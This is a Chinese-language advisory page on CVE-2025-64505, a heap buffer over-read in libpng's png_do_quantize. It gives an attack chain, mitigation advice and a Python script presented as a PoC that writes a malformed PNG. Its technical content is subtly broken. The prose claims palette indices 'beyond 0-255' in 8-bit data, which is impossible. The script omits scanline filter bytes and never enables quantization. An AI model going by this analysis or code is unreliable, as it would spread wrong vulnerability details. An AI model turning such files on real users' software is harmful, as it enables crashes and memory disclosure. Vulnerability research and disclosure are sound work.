IPBUF安全漏洞报告
English
CVE-2025-64505 CVSS 6.1 中危

CVE-2025-64505 libpng png_do_quantize堆缓冲区越界读取漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-64505
漏洞类型
缓冲区溢出
CVSS评分
6.1 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
libpng

相关标签

缓冲区溢出堆溢出越界读取libpngPNGCVE-2025-64505图像处理本地攻击信息泄露

漏洞概述

libpng是用于应用程序读取、创建和操作PNG(便携式网络图形)光栅图像文件的参考库。在1.6.51之前的版本中,libpng的png_do_quantize函数存在堆缓冲区过度读取(heap buffer over-read)漏洞。当处理包含畸形调色板索引的PNG文件时,该漏洞会被触发。问题根源在于palette_lookup数组边界未对外部提供的图像数据进行验证,允许攻击者构造带有超范围调色板索引的恶意PNG文件,从而触发越界内存访问。虽然CVSS评分为6.1(中等),但该漏洞可能导致敏感信息泄露或应用程序崩溃,对系统可用性造成较高影响。攻击需要本地访问并且需要用户交互(如打开恶意PNG文件),但不需要认证即可利用。

技术细节

该漏洞位于libpng库的png_do_quantize函数中。在PNG图像处理过程中,当启用调色板量化功能时,该函数会使用palette_lookup数组来查找和映射调色板颜色值。问题在于程序未正确验证palette_lookup数组的访问边界,允许使用超出数组范围的索引进行访问。攻击者可以通过精心构造的PNG文件,在调色板数据中注入超出有效范围(0-255)的索引值。当libpng尝试使用这些畸形索引访问palette_lookup数组时,会触发堆缓冲区越界读取,可能导致:1)敏感内存数据被读取并可能泄露;2)程序行为异常或崩溃;3)在特定条件下可能进一步被利用。该漏洞影响所有使用libpng处理PNG文件的应用,包括图像查看器、浏览器、图形编辑器等。修复版本为1.6.51,主要通过添加数组边界检查来防止越界访问。

攻击链分析

STEP 1
1
攻击者创建恶意PNG文件:构造包含超出有效范围(0-255)的调色板索引的畸形PNG文件
STEP 2
2
攻击者通过社交工程、网络钓鱼或恶意网站诱骗受害者打开该PNG文件
STEP 3
3
受害者使用含漏洞libpng版本的应用程序(如图像查看器、浏览器)打开PNG文件
STEP 4
4
libpng的png_do_quantize函数处理PNG文件,使用未验证的调色板索引访问palette_lookup数组
STEP 5
5
触发堆缓冲区越界读取,访问超出数组边界的数据,可能泄露敏感内存信息
STEP 6
6
应用程序可能崩溃或产生异常行为,导致可用性受影响(CVSS可用性影响评分为H)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64505 PoC - Malformed PNG with out-of-range palette indices This PoC demonstrates the heap buffer over-read in libpng's png_do_quantize function. """ import struct import zlib def create_malformed_png(): """ Create a minimal PNG file with malformed palette indices that triggers the vulnerability in png_do_quantize """ # PNG signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR chunk - 8x8 pixel, 8-bit indexed color ihdr_data = struct.pack('>IIBBBBB', 8, 8, 8, 3, 0, 0, 0) ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # PLTE chunk - Palette with only 2 entries (indices 0 and 1) # But we'll use indices beyond this range in the image data palette = b'\xff\x00\x00' + b'\x00\xff\x00' # Red and Green plte_crc = zlib.crc32(b'PLTE' + palette) & 0xffffffff plte_chunk = struct.pack('>I', 6) + b'PLTE' + palette + struct.pack('>I', plte_crc) # IDAT chunk - Image data with out-of-range palette indices # Normal indices would be 0-1, but we use 0-255 including out-of-range values raw_data = bytes([i % 256 for i in range(64)]) # 8x8 = 64 bytes, includes high indices compressed = zlib.compress(raw_data) idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc) # IEND chunk iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) return png_sig + ihdr_chunk + plte_chunk + idat_chunk + iend_chunk if __name__ == '__main__': png_data = create_malformed_png() with open('CVE-2025-64505_poc.png', 'wb') as f: f.write(png_data) print('PoC PNG file created: CVE-2025-64505_poc.png') print('This file contains out-of-range palette indices that may trigger') print('heap buffer over-read in vulnerable versions of libpng < 1.6.51')

影响范围

libpng < 1.6.51

防御指南

临时缓解措施
临时缓解措施:1)限制用户上传或打开来源不明的PNG文件;2)使用沙箱环境隔离图像处理应用;3)禁用或限制PNG量化功能(如果应用程序支持);4)监控应用程序日志以检测异常行为;5)考虑使用其他图像处理库作为临时替代方案。长期解决方案是尽快升级到libpng 1.6.51或更高版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表